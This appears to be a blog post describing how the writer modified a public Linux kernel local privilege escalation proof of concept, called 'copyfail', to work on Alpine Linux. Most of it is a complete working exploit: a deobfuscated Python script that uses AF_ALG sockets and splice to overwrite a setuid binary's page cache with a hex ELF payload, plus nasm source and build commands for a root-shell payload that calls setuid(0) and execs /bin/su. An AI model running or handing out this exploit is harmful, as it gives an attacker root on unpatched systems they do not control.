fixing up copyfail on Alpine
today, a rather nasty local privilege escalation bug affecting Linux since 4.14 (commit 72548b093ee3)
dropped. the bug affects essentially all mainstream distro kernels with the
CONFIG_CRYPTO_USER_API Kconfig flag enabled. A detailed explanation of the exploit process is available here.
one thing I did notice is that the provided proof of concept did NOT work on Alpine Linux machines, as the base system doesn't ship with any world-readable setuid binaries. I modified the code to target a binary belonging to an installed package (
/bin/ping in iputils-ping, /usr/bin/chsh in shadow also worked) and found that instead of a root shell, I was greeted with:
: applet not found
The tiny ELF blob bundled with the exploit doesn't invoke execve with the correct arguments. Alpine ships busybox by default, and busybox packs its functionality into one of two binaries, busybox itself and bbsuid for the setuid applets. This model requires argv[0] to be properly set so that busybox knows which utility is being invoked.
Here's a deobfuscated version of the proof of concept - it's much easier to follow what's going on. I've also included a replacement ELF blob that correctly invokes
/bin/su.
File: download
#!/usr/bin/env python3
import os
import socket
def write_four_byte_chunk(target_fd, payload_offset, payload_chunk):
alg_socket = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
alg_socket.setsockopt(socket.SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64))
alg_socket.setsockopt(socket.SOL_ALG, 5, None, 4)
op_socket, _ = alg_socket.accept()
splice_len = payload_offset + 4
op_socket.sendmsg(
[b"A" * 4 + payload_chunk],
[
(socket.SOL_ALG, 3, b"\x00" * 4),
(socket.SOL_ALG, 2, b"\x10" + b"\x00" * 19),
(socket.SOL_ALG, 4, b"\x08" + b"\x00" * 3),
],
32768,
)
pipe_read, pipe_write = os.pipe()
os.splice(target_fd, pipe_write, splice_len, offset_src=0)
os.splice(pipe_read, op_socket.fileno(), splice_len)
try:
op_socket.recv(8 + payload_offset)
except Exception:
pass
target_fd = os.open("/usr/bin/chsh", os.O_RDONLY)
payload_offset = 0
replacement_elf_payload = bytes.fromhex("7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000bf00000000000000bf000000000000000010000000000000488b04244c8d64c41031ffb86a0000000f0531ffb8690000000f0531c05048bb2f62696e2f737500534889e750574889e64c89e2b83b0000000f05b83c000000bf010000000f05")
while payload_offset < len(replacement_elf_payload):
payload_chunk = replacement_elf_payload[payload_offset:payload_offset + 4]
write_four_byte_chunk(target_fd, payload_offset, payload_chunk)
payload_offset += 4
os.system("chsh")
The following
nasm-compatible source will yield a minimal ELF binary (static, no sections) that calls setgid(0); setuid(0); execve("/bin/su", { "/bin/su", NULL }, envp);.
Compile the binary and convert it into hex:
nasm -fbin elevate.asm -o/proc/self/fd/1 | xxd -p -c256 /proc/self/fd/0
File: download
BITS 64
org 0x400000
ehdr:
db 0x7f, "ELF"
db 2
db 1
db 1
db 0
db 0
times 7 db 0
dw 2
dw 0x3e
dd 1
dq _start
dq phdr - $$
dq 0
dd 0
dw ehdr_end - ehdr
dw phdr_end - phdr
dw 1
dw 0
dw 0
dw 0
ehdr_end:
phdr:
dd 1
dd 5
dq 0
dq $$
dq $$
dq filesize
dq filesize
dq 0x1000
phdr_end:
_start:
; save envp
mov rax, [rsp]
lea r12, [rsp + rax*8 + 16]
; setgid(0)
xor edi, edi
mov eax, 106
syscall
; setuid(0)
xor edi, edi
mov eax, 105
syscall
; /bin/su\0
xor eax, eax
push rax
mov rbx, 0x75732f6e69622f
push rbx
mov rdi, rsp
push rax ; argv[1]
push rdi ; argv[0]
mov rsi, rsp ; argv
mov rdx, r12 ; envp
; execve
mov eax, 59
syscall
; failed, exit
mov eax, 60
mov edi, 1
syscall
file_end:
filesize equ file_end - $$